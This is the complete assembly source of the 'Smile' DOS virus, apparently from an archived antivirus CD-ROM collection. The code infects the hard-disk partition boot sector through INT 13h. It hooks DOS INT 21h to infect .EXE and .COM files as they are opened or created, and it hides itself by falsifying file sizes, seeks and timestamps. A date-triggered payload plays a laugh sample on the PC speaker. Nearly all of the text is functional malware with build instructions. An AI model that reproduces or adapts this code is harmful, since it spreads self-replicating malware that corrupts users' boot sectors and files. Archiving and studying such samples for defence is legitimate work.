home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
SOURCE.ZIP
/
SMILE.ASM
< prev
next >
Wrap
Assembly Source File
|
1992-11-29
|
38KB
|
1,143 lines
;------------------------------------------------------------------------------
;
; Virus Name: Smile
; Origin: Holland
; Eff Length: 4,096 bytes
; Type Code: PRhE - Parasitic Resident .EXE & partition table infector
;
;------------------------------------------------------------------------------
;
; This program is assembled with TASM V1.01 from Borland International
; (assembing with MASM V5.10 from Microsoft Inc. is also possible).
;
; TASM smile;
; LINK smile,,smile;
;
;------------------------------------------------------------------------------
;
; Interrupt vectors
;
;------------------------------------------------------------------------------
iseg segment at 0
org 8*4
Int8o dw 0 ; interrupt vector 21h
Int8s dw 0
org 1ch*4
Int1Co dw 0 ; interrupt vector 21h
Int1Cs dw 0
org 21h*4
Int21o dw 0 ; interrupt vector 21h
Int21s dw 0
iseg ends
cseg segment public 'code'
assume cs:cseg,ds:cseg,es:cseg
;------------------------------------------------------------------------------
;
; Header of EXE-file
;
;------------------------------------------------------------------------------
VirusSize equ 1580h ; size of virus
; this one is very important,
; if it isn't set right the
; virus will hang every
; infected file
PrgSize equ 73h ; size of prg after the virus
; this is used in the header
; of the dummy program
; the value of these constants
; can be determined by creating
; a map-file with the linker.
Signature dw 0 ; signature 'MZ'
PartPage dw 0 ; size of partitial page
PageCount dw 0 ; number of pages
ReloCount dw 0 ; number of relocation items
HeaderSize dw 0 ; size of header
MinMem dw 0 ; minimum memory needed
MaxMem dw 0 ; maximum memory needed
ExeSS dw 0 ; initial SS
ExeSP dw 0 ; initial SP
CheckSum dw 0 ; unused ???
ExeIP dw 0 ; initial IP
ExeCS dw 0 ; initial CS
ReloOffset dw 0 ; offset of relocationtable
OverlayNr dw 0 ; number of overlay
ComSize dw -1 ; Size of com-file (-1 for exe)
;------------------------------------------------------------------------------
;
; This procedure is called when starting from an exe-file
;
;------------------------------------------------------------------------------
Main: pushf ; save flags
sub sp,4 ; reserve space far cs:ip
push ax ; save other registers
push ds
push es
sti ; enable interrupts
cmp cs:ComSize,-1 ; com or exe-file
je ExeFile ; -1 : exe-file
ComFile: mov word ptr ds:[6],0fef0h ; set availeble memory to max
mov bp,sp ; set cs:ip on stack for
mov word ptr [bp+8],ds ; returning to the orginal
mov word ptr [bp+6],100h ; program
mov bp,ds ; bp : stacksegment
mov ax,cs ; bx : begin of com-file
add ax,(VirusSize/10h)
mov bx,ax
mov cx,0ff0h ; cx : size of data to move
add ax,cx ; es : buffer for mover and
mov es,ax ; infecting the bootsect.
push cs ; ds : codesegment
pop ds
jmp short InfectBoot ; infect bootsector
ExeFile: mov dx,cs ; Relocation
add dx,(VirusSize/10h)
mov ds,dx
mov cx,ReloCount ; number of relocation items
add dx,HeaderSize ; size of exe-header
mov si,ReloOffset ; offset of 1st relocation item
jcxz NoRelo
NextRelo: lodsw ; offset
mov di,ax
lodsw ; segment
add ax,dx
mov es,ax
mov ax,cs ; relocation factor
add es:[di],ax
loop NextRelo ; next relocation item
NoRelo: mov bp,sp
mov ax,cs ; set cs:ip on stack for
add ax,ExeCS ; returning to the orginal
mov [bp+8],ax ; program
mov ax,ExeIP
mov [bp+6],ax
mov bp,cs ; bp : stacksegment
add bp,ExeSS
mov ax,PageCount ; calculate size of exe-file
mov dx,PartPage ; in paragraphs
add dx,-1
sbb ax,0
mov cl,4
shr dx,cl
inc dx
inc cl
shl ax,cl
add dx,ax
add dx,MinMem ; dx : size of exe-file
mov cx,dx ; cx : size of code and data
sub cx,HeaderSize
mov bx,cs ; bx : start of code and data
mov ds,bx
add bx,(VirusSize/10h)
add bx,dx
mov es,bx ; es : buffer for mover and
sub bx,cx ; infecting the bootsect.
InfectBoot: push bx ; save bx and cx
push cx
mov ax,201h ; read bootsector from disk
xor bx,bx
mov cx,1
mov dx,80h
int 13h
jc BootOk ; error ?
mov si,offset BootSector ; compare with infected code
xor di,di
mov cx,1*BootSize
cld
repe cmpsb
je BootOk ; equal ?
mov di,1beh+8 ; check partitions, we don't
mov cx,4 ; want to overwrite them
NextPartition: cmp word ptr es:[di+2],0
ja SectOk
cmp word ptr es:[di],(VirusSize+1ffh)/200h+1
ja SectOk
cmp word ptr es:[di],0
ja BootOk
SectOk: add di,10h
loop NextPartition
mov si,offset BootSector ; exchange code from bootsector
xor di,di ; with viral code
mov cx,1*BootSize
cld
call Swapsb
push es ; write virus to disk
pop ds
push cs
pop es
mov ax,(VirusSize+1ffh)/200h+300h
mov cx,2
int 13h
push ds
pop es
push cs
pop ds
jc BootOk ; error ?
mov ax,301h ; write bootsector to disk
mov cx,1
int 13h
BootOk: pop cx ; restore bx and cx
pop bx
mov dx,cs ; dx = destenation segment
xor di,di
push es ; push seg:ofs of mover
push di
push cx ; save cx
mov cx,1*MoverSize
mov si,offset Mover
cld ; copy mover-procedure
rep movsb
pop cx ; restore cx
cli ; disable interrupts
retf ; jump to mover
Mover: mov ax,cx ; save cx
mov ds,bx ; ds:si = source
mov es,dx ; es:di = destenation
xor si,si
xor di,di
mov cx,8h ; copy one paragraph
rep movsw
inc bx
inc dx
mov cx,ax ; restore cx
loop Mover ; next paragraph
mov ss,bp ; ss = new stacksegment
sti ; enable interrupts
pop es ; restore registers
pop ds
pop ax
iret ; jump to program
MoverSize equ ($-Mover)
;------------------------------------------------------------------------------
;
; Bootsector startup
;
;------------------------------------------------------------------------------
Bootsector: cli ; disable interrupts
xor bx,bx ; setup stack and ds
mov ds,bx
mov ss,bx
mov sp,7c00h
sti ; enable interrupts
mov ax,ds:[413h] ; get size of base memory
sub ax,(VirusSize+3ffh)/400h; subtract virussize
mov ds:[413h],ax ; store new memory size
mov cl,6 ; calculate segment
shl ax,cl
mov es,ax ; load virus in reserved mem
mov ax,(VirusSize+1ffh)/200h+200h
mov cx,2
mov dx,80h
int 13h
mov bx,offset StartUp ; bx=offset startup
push es ; jump to startup (es:bx)
push bx
retf
BootSize equ ($-Bootsector) ; size of bootsector part
StartUp: cli ; disable interrupts
mov ax,offset Interrupt1C ; hack interrupt 1C
xchg ax,ds:Int1Co
mov cs:OldInt1Co,ax
mov ax,cs
xchg ax,ds:Int1Cs
mov cs:OldInt1Cs,ax
mov cs:OldInt21o,-1
mov cs:OldInt21s,-1
mov cs:Count,-1
sti ; enable interrupts
push cs ; ds=cs
pop es
mov si,7c00h ; di=7c00h (Bootsector)
mov di,offset BootSector ; si=BootSector
mov cx,1*BootSize ; bytes to copy
cld ; copy forward
call Swapsb ; restore orginal boot
mov ax,7c00h ; offset bootsector
push ds ; jump to bootsector
push ax
retf
Interrupt8: push ax ; save registers
push si
push ds
push cs
pop ds
mov si,SampleOffset ; get offset of next bit
dec byte ptr ds:SampleBit
test byte ptr ds:SampleBit,7
jnz OfsOk
inc si
cmp si,offset SampleEnd ; end of sample ?
jb OfsOk ; no, play bit
mov al,34h ; reset int 8 frequency
out 43h,al
xor ax,ax
out 40h,al
out 40h,al
mov ds,ax ; reset int 8 vector
mov ax,cs:OldInt8o
mov ds:Int8o,ax
mov ax,cs:OldInt8s
mov ds:Int8s,ax
inc byte ptr cs:SampleFlag ; set sample ready flag
jmp short ExitInt8 ; end of interrupt
OfsOk: mov SampleOffset,si ; store offset
rol byte ptr ds:[si],1 ; next bit
mov ah,ds:[si] ; get bit value
and ah,1
shl ah,1
in al,61h ; get value of io-port 61h
and al,0fch ; reset last 2 bits
or al,ah ; set bit 2 with sample value
out 61h,al ; write to io-port 61h
ExitInt8: mov al,20h ; end of interrupt signal
out 20h,al
pop ds ; restore registers
pop si
pop ax
iret ; return to program
Interrupt1C: push ds ; save registers
push ax
push bx
xor ax,ax ; interrupts vectors
mov ds,ax
mov ax,ds:Int21o
cmp cs:OldInt21o,ax
jne Changed
mov ax,ds:Int21s
cmp cs:OldInt21s,ax
je Equal
Changed: mov ax,ds:Int21o
mov cs:OldInt21o,ax
mov ax,ds:Int21s
mov cs:OldInt21s,ax
mov cs:Count,182
jmp short NotReady
Equal: dec cs:Count
jnz NotReady
mov ax,cs:OldInt1Co ; restore vector 1C
mov ds:Int1Co,ax ; (This interrupt)
mov ax,cs:OldInt1Cs
mov ds:Int1Cs,ax
mov ax,offset Interrupt21 ; Hack interrupt 21
xchg ax,ds:Int21o
mov cs:OldInt21o,ax
mov ax,cs
xchg ax,ds:Int21s
mov cs:OldInt21s,ax
mov ax,16
mov bx,offset Handle
NextHandle: mov byte ptr cs:[bx],0
inc bx
dec ax
jnz NextHandle
mov byte ptr cs:Active,-1
NotReady: pop bx
pop ax ; restore registers
pop ds
jmp cs:OldInt1C ; do orginal int 1C
Swapsb: mov al,es:[di] ; exchange two memory bytes
xchg al,ds:[si]
stosb
inc si
loop Swapsb ; next byte
ret ; return
;------------------------------------------------------------------------------
;
; Manipilated functions
;
;------------------------------------------------------------------------------
Functions db 11h ; 1
dw offset FindFCB
db 12h ; 2
dw offset FindFCB
db 30h ; 3
dw offset DosVersion
db 3ch ; 4
dw offset Open
db 3dh ; 5
dw offset Open
db 3eh ; 6
dw offset Close
db 42h ; 7
dw offset Seek
db 45h ; 8
dw offset Duplicate
db 46h ; 9
dw offset Redirect
db 4eh ; 10
dw offset Find
db 4fh ; 11
dw offset Find
db 5bh ; 12
dw offset Open
db 6ch ; 13
dw offset OpenCreate
FunctionCount equ 13
;------------------------------------------------------------------------------
;
; The orginal interrupt 21h is redirected to this procedure
;
;------------------------------------------------------------------------------
DosVersion: push ax
push cx
push dx
push ds
push cs
pop ds
cmp cs:Active,0
je NotActive
mov ah,2ah
call DOS
cmp ActiveYear,cx
jb NotActive
cmp ActiveDate,dx
jb NotActive
cli
xor ax,ax
mov ds,ax
mov ax,offset Interrupt8
xchg ax,ds:Int8o
mov cs:OldInt8o,ax
mov ax,cs
xchg ax,ds:Int8s
mov cs:OldInt8s,ax
mov al,34h
out 43h,al
mov al,80h
out 40h,al
mov al,0
out 40h,al
push cs
pop ds
mov byte ptr SampleFlag,0
mov byte ptr SampleBit,0
mov word ptr SampleOffset,offset SampleData
sti
Delay: cmp byte ptr SampleFlag,0
je Delay
mov byte ptr Active,0
NotActive: pop ds
pop dx
pop cx
pop ax
jmp Old21
FindFCB: call DOS ; call orginal interrupt
cmp al,0 ; error ?
jne Ret1
pushf ; save registers
push ax
push bx
push es
mov ah,2fh ; get DTA
call DOS
cmp byte ptr es:[bx],-1 ; extended fcb ?
jne FCBOk
add bx,8 ; yes, skip 8 bytes
FCBOk: mov al,es:[bx+16h] ; get file-time (low byte)
and al,1fh ; seconds
cmp al,1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es:[bx+1ch],VirusSize
sbb word ptr es:[bx+1eh],0 ; adjust file-size
jmp short Time
Find: call DOS ; call orginal interrupt
jc Ret1 ; error ?
pushf ; save registers
push ax
push bx
push es
mov ah,2fh
call DOS
mov al,es:[bx+16h] ; get file-time (low byte)
and al,1fh ; seconds
cmp al,1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es:[bx+1ah],VirusSize
sbb word ptr es:[bx+1ch],0 ; change file-size
Time: xor byte ptr es:[bx+16h],1fh; adjust file-time
FileOk: pop es ; restore registers
pop bx
pop ax
popf
Ret1: retf 2 ; return
Seek: or bx,bx ; bx=0 ?
jz Old21 ; yes, do orginal interrupt
push bx
call FindHandle
pop bx
jc Old21
Stealth: or al,al ; seek from top of file ?
jnz Relative ; no, don't change cx:dx
add dx,VirusSize ; change cx:dx
adc cx,0
Relative: call DOS ; Execute orginal int 21h
jc Ret1 ; Error ?
sub ax,VirusSize ; adjust dx:ax
sbb dx,0
jmp short Ret1 ; return
Close: or bx,bx ; bx=0 ?
je Old21 ; yes, do orginal interrupt
push ax
push cx
push dx
push si
push ds
push cs ; ds=cs
pop ds
push bx
call FindHandle
mov si,bx
pop bx
jc DoNotUpdate
mov word ptr ds:[si],0
cmp byte ptr ds:[si+2],0
je DoNotUpdate
call UpdateHeader
DoNotUpdate: pop ds ; restore registers
pop si
pop dx
pop cx
pop ax
Not2: jmp short Old21 ; continue with orginal int
Interrupt21: push bx ; after an int 21h instruction
push cx ; this procedure is started
mov bx,offset Functions
mov cx,FunctionCount
NxtFn: cmp ah,cs:[bx] ; search function
je FunctionTrap
add bx,3
loop NxtFn
pop cx ; function not found
pop bx
Old21: jmp cs:OldInt21
FunctionTrap: push bp ; function found, start viral
mov bp,sp ; version of function
mov bx,cs:[bx+1]
xchg bx,[bp+4]
mov cx,[bp+10]
xchg cx,[bp+2]
pop bp
popf
ret
Duplicate: call DOS
jc Error
pushf
push bx
push dx
call FindHandle
jc Ret3
mov dl,cs:[bx+2]
mov bx,ax
call StoreHandle
Ret3: pop dx
pop bx
popf
jmp Ret2
Redirect: call DOS
jc Error
pushf
push bx
push cx
xchg bx,cx
call FindHandle
jc Ret4
mov cs:[bx],cx
Ret4: pop cx
pop bx
popf
jmp Ret2
OpenCreate: or al,al ; extended open/create function
jne Old21 ; no, do orginal interrupt 21
push dx ; save dx
mov dx,si ; check extension of filename
call CheckName
pop dx ; retore dx
jc Old21 ; exe or com-file?
jmp short ExtensionOk ; yes, infect file or use
; stealth
Open: call CheckName ; exe or com-file ?
jc Old21 ; no, do orginal int 21
ExtensionOk: call DOS ; do interrupt 21
jnc NoError ; error ?
Error: jmp Ret2 ; yes, return and do nothing
NoError: pushf ; save registers
push ax
push bx
push cx
push dx
push ds
push cs
pop ds
mov bx,ax ; bx = file handle
mov ax,4400h ; get device information
call DOS
jc PopRet ; error ?
test dx,80h ; character device
jnz PopRet ; yes, return and do nothing
call EndOfFile ; get file size
or ax,dx ; 0 ?
jnz FileExists ; no, file already existed
FileCreated: call HandleFree
jc PopRet
mov ah,2ah
call DOS
add dh,3
cmp dh,12
jbe DateOk
inc cx
sub dh,12
DateOk: mov ActiveYear,cx
mov ActiveDate,dx
mov ah,40h ; write virus to file
mov cx,VirusSize
call Zero2
jc NoVir ; error ? yes, return
xor ax,cx ; entire virus written ?
jnz NoVir ; no, return
mov dl,1
call StoreHandle
jmp short PopRet ; return
FileExists: call TopOfFile ; go to top of file
call HandleFree
jc PopRet ; no, do nothing
call ReadHeader ; read exe-header
jc NoVir ; error ?
xor ax,cx ; entire header read
jne NoVir ; no, not infected
cmp Signature,5a4dh ; signature = 'MZ' ?
jne NoVir ; no, not infected
cmp HeaderSize,ax ; headersize = 0 ?
jne NoVir ; no, not infected
cmp CheckSum,0DEADh ; checksum = DEAD hex
jne NoVir ; no, not infected
mov dl,0
call StoreHandle
mov dx,VirusSize ; seek to end of virus
jmp short Infected
NoVir: xor dx,dx
Infected: xor cx,cx ; go to end of virus if file
mov ax,4200h ; is infected
call DOS
PopRet: pop ds ; restore registers
pop dx
pop cx
pop bx
pop ax
popf
Ret2: retf 2 ; return
;------------------------------------------------------------------------------
EndOfFile: mov ax,4202h ; go to end of file
jmp short Zero1
TopOfFile: mov ax,4200h ; go to top of file
Zero1: xor cx,cx
jmp short Zero2
WriteHeader: mov ah,40h ; write exe-header to file
jmp short Hdr
ReadHeader: mov ah,3fh ; read exe-header from file
Hdr: mov cx,1eh
Zero2: xor dx,dx
DOS: pushf ; call orginal interrupt
call cs:OldInt21
ret
FindHandle: push ax
push cx
mov ax,bx
mov bx,offset Handle
mov cx,8
NotFound: cmp ax,cs:[bx]
je Found
inc bx
inc bx
inc bx
loop NotFound
stc
Found: pop cx
pop ax
ret
HandleFree: push bx
xor bx,bx
call FindHandle
pop bx
ret
StoreHandle: push bx
push bx
xor bx,bx
call FindHandle
pop cs:[bx]
mov cs:[bx+2],dl
pop bx
ret
CheckName: push ax ; check for .exe or .com
push cx ; save registers
push si
push di
xor ah,ah ; point found = 0
mov cx,100h ; max length filename = 100h
mov si,dx ; si = start of filename
cld
NxtChr: lodsb ; get byte
or al,al ; 0 ?
je EndName ; yes, check extension
cmp al,'\' ; \ ?
je Slash ; yes, point found = 0
cmp al,'.' ; . ?
je Point ; yes, point found = 1
loop NxtChr ; next character
jmp short EndName ; check extension
Slash: xor ah,ah ; point found = 0
jmp NxtChr ; next character
Point: inc ah ; point found = 1
mov di,si ; di = start of extension
jmp NxtChr ; next character
EndName: cmp ah,1 ; point found = 0
jne NotExe ; yes, not an exe-file
mov si,di ; si = start of extension
lodsw ; first 2 characters
and ax,0dfdfh ; uppercase
mov cx,ax
lodsb ; 3rd character
and al,0dfh ; uppercase
cmp cx,04f43h ; extension = .com ?
jne NotCom
cmp al,04dh
je ChkRet
NotCom: cmp cx,05845h ; extension = .exe ?
jne NotExe
cmp al,045h
je ChkRet
NotExe: stc ; set carry flag
ChkRet: pop di ; restore registers
pop si
pop cx
pop ax
ret ; return
UpdateHeader: mov ax,4200h ; position read/write pointer
xor cx,cx ; at the end of the virus
mov dx,VirusSize
call DOS
call ReadHeader ; read orginal exe-header
cmp Signature,5a4dh
je InfectExe
InfectCom: mov Signature,5a4dh
mov ReloOffset,01ch
mov OverlayNr,0
mov ExeSS,(VirusSize-100h)/10h
mov ExeSP,0fffeh
call EndOfFile
sub ax,VirusSize
sbb dx,0
mov ComSize,ax
mov cx,10h
div cx
sub dx,1
mov dx,0ff2h+20h
sbb dx,ax
mov MinMem,dx
jmp WriteIt
InfectExe: mov ComSize,-1
mov ax,(VirusSize/10h)
add ax,HeaderSize
add ExeSS,ax
add MinMem,20h
add MaxMem,20h
jnc MaxOk
WriteIt: mov MaxMem,0ffffh
MaxOk: mov ReloCount,0
mov HeaderSize,0
mov CheckSum,0DEADh
mov ExeCS,0
mov ExeIP,offset Main
call EndOfFile
mov cx,200h
div cx
mov PartPage,dx
add dx,-1
adc ax,0
mov PageCount,ax
call TopOfFile
call WriteHeader ; write header at the top of
jc InfErr ; the virus
mov ax,5700h
call DOS
mov ax,5701h
or cl,1fh
call DOS
InfErr: ret
;------------------------------------------------------------------------------
;
; Data to generate the Laugh sound
;
;------------------------------------------------------------------------------
SampleData db 249,220,204,102, 51, 51,116,102,227, 6, 28,216,243,129,131, 54
db 140,204,226,227, 51, 18, 25,184, 98,199,131, 30, 25,204,204,193
db 230, 79, 28,248, 98,241,142,199, 51, 24,228,249,179, 44,221,241
db 54, 71,254, 46, 8,255,139,227, 59,196,241, 49,198,208,243,205
db 193,115,155,131,206, 46, 14,177,176, 51,205,129,158, 54,142,113
db 144,115,140,135, 56,240, 55,205,131,188,124, 51,199,195,156,120
db 25,199,129,156, 76, 49,197,195, 28,110, 57,231,129,156,120, 25
db 197,145,156,108, 25,102,201,158, 46, 12,113,224,231,141,163, 60
db 76, 25,227,104,228,229,131,131,154,157, 24,102,114,206, 71,193
db 241, 14,229,140, 55,196,241,125, 89, 27, 29,195,240,157, 30, 68
db 193,246, 57,135, 99, 56,238, 25,134,196,241,230, 24, 6, 24,176
db 231, 51,142,113,178,113,205, 55,160, 67, 57,198,143,177,147, 56
db 115,135, 89,193,157, 56,103,156,112,115,102,217,227, 30, 76,121
db 156,241, 35, 71, 56,227,155, 12,103,190, 56,115,198,105,150, 97
db 142, 28,113,230, 50, 60,185,201,156, 76,248,231, 13,204,248,100
db 199, 39, 28,113,198, 70, 71, 54,124,219, 99,135, 48, 62, 25,131
db 112,196, 31, 14, 51,225,225, 56,110, 1,206, 51,147,110, 15,129
db 252,127, 7,113,184, 29,135,192,236, 62, 7,227,224,127, 31, 3
db 176,240, 63,143, 1,216,248, 29,143,131,184,248, 63, 15,131,112
db 248,102, 28,134,225,208,238, 61, 12,199,161,220, 90, 25,199, 35
db 184,244, 51,139, 67, 56,164,119, 22,134,115,104,238, 60,140,226
db 217,206,105, 25,204,179, 28,211, 51,137, 38, 57,180,199, 50, 76
db 115, 44,199, 50,156,230, 73,142,101,152,230, 89,142,116,153,230
db 217,158,109,153,227, 65,142, 54, 14,241,176,102,198, 17,199, 26
db 14,204,105, 59, 49,131,156,153,135,135, 19, 24, 30, 59,134, 99
db 188, 48,195,112,198, 57,216,198, 44,110, 76,205, 50, 76,176,110
db 19, 49,215, 48,222,199, 15,153,102,107, 38,195, 50,108, 51, 44
db 113,228,201, 60,204,241,204,184,100,204,198, 57,227, 32, 30,127
db 193,156,113,184,155, 24,201,201, 48,108,231,134, 70,112,102, 28
db 103,115,177,118, 49,135, 19, 57,177,155, 31, 28,121,248,230, 31
db 134, 96,248,230, 60,102,115, 51, 28, 51, 25,137,153,140,223,153
db 197,198, 92, 46,115, 99,243,115, 25,179, 57,153,177,217,248,207
db 76,204,243, 51, 27, 60,201,140,115, 28, 99, 51,137,227, 56,127
db 19,185,222,115,241,230, 31,129,224,252, 15, 7,225,248, 62, 15
db 131,224,120, 62, 7,129,240,120, 30, 7,129,224,124, 62,135,135
db 145,240,241, 62, 60,143, 15,145,225,228,120,124, 15, 15, 3,227
db 228,120,124, 31, 27,131,227, 96,252,108,159, 13,147,163,176,116
db 118, 14, 7,193,224,248, 60, 31, 7,195, 96,232,108, 28, 13,131
db 147,241,240,116, 62, 14,135,193,240,248, 62, 15, 14,192,225,216
db 152, 63, 27, 15,195,193,248,124, 63, 15, 7,224,240,254, 30, 14
db 227,192,238, 60, 30,227,224,231,143, 67,172,121,158, 51,144,112
db 230, 88,207,193,179, 59,135, 99,198, 12,204,241,219, 7, 19,240
db 228,110, 31,133,193, 48,120,230, 44,205,225,158, 54, 49,166,120
db 220, 19,140,131,176,116, 79,131,129,204,124, 31, 3,193,249,204
db 140,150, 38, 72,199,153,152,248,126,142, 79,131,131,248,190, 31
db 15,195,241,120,236, 96,204,143, 14, 57, 57,248,110, 62,103, 33
db 216,248, 57, 31, 6,102,120,207, 28,216, 14, 6, 99, 96,204, 60
db 121, 51, 67,137,207, 17,156, 57, 30, 11,198,230, 51, 51,157,179
db 148, 96,247,113,192,204,206, 15, 35,152, 28, 30, 38,224,248,153
db 206,227,225,113,142, 67,152,152, 89, 56,131,134,242, 56,227, 28
db 23,131,120, 62, 15,225,248, 63, 7,193,240,126, 15,129,224,124
db 31, 7,192,248, 62, 15,131,224,248, 62, 15,131,224,248, 60, 15
db 135,208,248,121, 31, 15, 33,225,228, 60, 30, 71,195,200,248,124
db 15,135,193,248,248, 31, 31,131,225,240, 62, 31, 3,131,240,120
db 59, 15, 3,176,102, 55, 14,195,112,236, 55, 15,195,112,252, 55
db 143,195,248,240, 63,143, 3,184,249, 27,199,161,252, 57, 31,195
db 193,252, 60, 31, 99,192,242, 60, 79, 25,230,121,207,177,206, 62
db 199, 24,240, 30, 51,192,240,252, 27,143,161,240,126, 30,135,192
db 248, 60, 31,135,192,248,126, 15,135,129,196,184, 47, 13,195,216
db 126, 27,135,201,226, 28, 70, 13,226,112,124, 71, 3,231,188, 78
db 30, 24,227,241,234, 62, 15,161,248, 62, 15, 7,112, 90, 99,112
db 230, 25,147,225,240,110, 61,198,240,116, 29, 23,103, 48,240, 58
db 47,143,113,206, 51,198,192,126, 62, 15, 7, 97,236, 62, 31, 7
db 240,254, 63, 15,195,240,190, 31,143,128,248, 62, 63,143, 99,152
db 243, 60, 31, 7,129,216, 28, 7, 12,211,188,124, 7, 39,192,116
db 119, 14,195,156,120,188, 7,195,192,239, 31,131,196,120,220, 19
db 204,120,147,248, 89,129,216,223,140,252,253,143, 60,237,143, 28
db 207,142,120,223, 30,241,254, 57,227,252, 99,139,177,158, 46,133
db 248,242, 14,199,192,251, 31, 2,236,249, 31,115,228, 29,139,160
db 236, 89, 7, 99,228, 57,159, 33,236,120, 15, 35,100, 57,155, 53
db 196,104,143, 51,102,184,141, 16,230,124,199, 57,226, 28,199,144
db 230, 60, 67,153,242, 28,231,200,115, 30, 97,204,121,143, 49,230
db 60,199,136,115,143, 1,198, 60,103,140,113,142, 56,211, 30,120
db 240, 30, 60, 62, 77,207,153,225,124,124,153,118,126, 28,193,230
db 60,135,129,242, 60,103,135,112,124, 31,140,112,238,120,227,184
db 159,142,112,238, 57,145,231, 9,199,217,134,100,108, 3,163,248
db 110,207,136, 97,199, 32,231, 63,135,136,242,102, 52,217,180,113
db 198,112,227, 57,199, 4,193,204,115,142, 35, 12,219,156,118, 92
db 203, 24, 99,128,241, 60, 39,204, 57, 31, 36,201,157, 19,230,108
db 205,159, 99, 46,237,217, 51, 39,204, 28, 7, 12,120, 28,115,206
db 124,142, 51,178, 60, 57,158, 62, 99, 12,153,209, 28,226,140, 51
db 195, 24,243,188,230,217,227,144,240,158, 19,134,112, 79,200,241
db 63,198,225,231,145,226,126, 79,129,243, 60, 79,129,240,120, 31
db 3,192,240, 62, 15,193,240,120, 31, 3,225,240, 62, 31, 3,224
db 240, 63, 15, 3,224,240, 63, 31, 7,225,240,126, 63, 7,225,248
db 126, 31,135,225,220,110, 29,227,112,207, 27, 7,124,111, 28,241
db 190, 60,227,100, 76,243, 60, 71,152,224,248, 63,135,227,248,126
db 28,135,129,224,248, 63, 31,131,145,240,124, 47, 15,227,240,126
db 31,131,224,248, 62, 31,198,241,220, 59, 15, 49,224, 56,143, 17
db 199,185,248,126, 31,133,224,248, 62, 59,135, 96,252, 60, 23,197
db 192,248, 60, 31, 49,196,241,216, 51,153,195,141,140,140, 62, 71
db 102,248,190, 61,199,144,226, 62, 51,129,225,252, 62, 19,100,230
db 49,140,115, 28, 3,160,224, 60, 71,131,226,248,156, 51,131,113
db 248, 59,143,137,198, 56, 46, 29,193,240,230, 61,199, 57,230, 56
db 215, 23, 38,120,230, 57,198, 35,198,108,141,148,113, 57,226, 57
db 199,120,254, 15, 99,248, 70,197,200, 59, 31,225,248,191, 7,195
db 232,126, 31, 3,240,252, 61,143,225,204,127, 14, 99,252,115,143
db 227,204,119,143, 49,206, 60,199, 56,121,142,112,227,140,113,143
db 199,216, 60,199, 33,248,121,143, 1,198, 57,198,204,227,156,224
db 126, 30, 67,227, 56, 62, 29,143, 25,200,230, 30, 99,204,113, 14
db 49,131, 92,197,206,120,238, 17,200,121, 7, 25,196, 24,222, 7
db 0,112, 98, 61,142, 99,252, 63, 15,140,236,198,115, 70, 78,224
db 220, 51,134,112, 78, 55,135,112,230, 56,254, 49,195,152,124,103
db 35,182,113,133,225,188, 14,131,182, 62,121, 51, 7, 44,227, 25
db 223, 24,228, 79,199,192,124, 15, 0,226,120,153, 49,202, 26, 39
db 113,240,187, 31,225,240,117, 12,200,232,230, 51, 39,140,241, 29
db 25,200,113,155,153, 62, 30, 3,168,113, 30, 1,195, 48, 76,127
db 142, 99, 29,175, 57,142,195,243,220, 24,142, 3,136,248, 30, 19
db 70,240,123, 59,199,120,227, 56,115, 15,199,248,248, 31, 3,193
db 216, 57,142,113,206, 57,177,183,121,185, 3,248,206, 11,156,115
db 129,156, 55,145,216, 95, 19,241,190,103,227,248, 31,139,240,118
db 31,193,216,127, 7,113,126, 29,199,248,127, 15,224,252, 63,195
db 184,255, 12,227,252, 51,142,240,206, 57,195,152,115, 12,227,156
db 115,142,113,206, 56,199, 56,227, 28, 97,140,121,198, 57,231, 28
db 227,156,115,143, 56,199, 14,120,143,134,120, 79, 14,120,223, 15
db 222, 51,227, 29,193,252,103,135,152,142, 12,228,114, 59,152,204
db 224, 55, 25,241,156,100,199, 57,185, 28,199,204,113,159, 24,198
db 7, 2, 57,207, 12,113,198, 56,249,193,220,115, 7, 3,225,240
db 30,208,226, 28, 97,192, 56,193, 67, 51, 49,142,207,140,240,142
db 49,227,156,103,131, 57,142, 99,226, 60, 15,128,240, 30, 7,145
db 249, 14, 1,224, 61,131,240,115, 14, 65,248,121, 7,160,230, 63
db 195,220, 63,135,240,158, 25,195, 24,231, 24, 99,156, 49,206,115
db 135, 57,200,156,103, 48,113,142,112,198, 59,195, 24,231, 14,113
db 156, 27,196,112,231, 61,241,220,127,134,113,220, 29,199, 55,127
db 15,225,252, 31,135,248, 31, 15,231,156,103, 14,227,252, 51,152
db 61, 6,120,207, 3,248,158, 7,240, 62, 67,224,124, 15,224,252
db 143,192,241, 31,129,226, 62, 7,192,252, 31,129,248, 63, 7,240
db 124, 15,193,248, 63, 7,224,254, 31,193,248, 63, 7,240,254, 15
db 193,252, 63,131,240, 63, 7,224,126, 31,193,252, 63,131,248,190
db 7,241,124, 31,227,252, 63,195,248, 63,199,240,125,199,216,120
db 227, 14, 48,248, 15,128,252, 31,195,248,103, 3,241,220, 7,195
db 248,127,135,240,126, 15,224,252, 31,129,248, 63, 7,240,120, 15
db 128,240, 63, 15,224,254, 31,193,248, 31, 3,225,246, 31,195,220
db 63,131,240, 63,131,224,126, 7,224,252, 31,195,252, 62, 7,248
db 124, 15,177,248, 15, 3,240,254, 7,128,248, 15, 1,248, 30, 7
db 192,124, 15,129,242, 59,131,192,116, 30, 3,232,126, 7,224,254
db 7,192,252,103, 3,152,244, 23, 3,224, 60, 7,194,188, 7,129
db 252, 47, 7,176,126, 15,224,252, 25,194,241, 57,199,112,112, 15
db 1,248, 31,135,240,255, 15,225,248, 31,131,248,124, 3,240,124
db 15,129,240, 31, 3,224,125, 7,160,126, 15,192,230, 28,227,136
db 120, 7,176,244, 30,193,240, 61, 7,176,246, 14, 1,200, 28, 3
db 128, 60, 7,134,120, 79,129,248,127, 7,230,120,199,152,225, 14
db 115,192, 57,199, 28,115, 7, 25,254, 78,231, 59,221,200, 15,204
db 156,152, 14,236,252,136,142,236,204,136, 76,204,249,144, 25,147
db 114,100,118,111,145, 39,191,249, 19,247, 36,127,152, 19,254,136
db 159,176, 7,254, 1,127,192, 31,252, 1,255,128, 31,230, 65,254
db 0,127,216, 19,254, 1,127, 32, 15,248, 1,255,192, 31,248, 3
db 254, 0,255,192, 31,248, 1,255,128, 31,224, 7,252, 9,190, 96
db 15,236, 9,255, 0,159,176, 7,251, 2,127,128, 31,216, 11,252
db 129,191,144, 15,252, 3,255,128, 63,228, 13,254, 0,255,240, 7
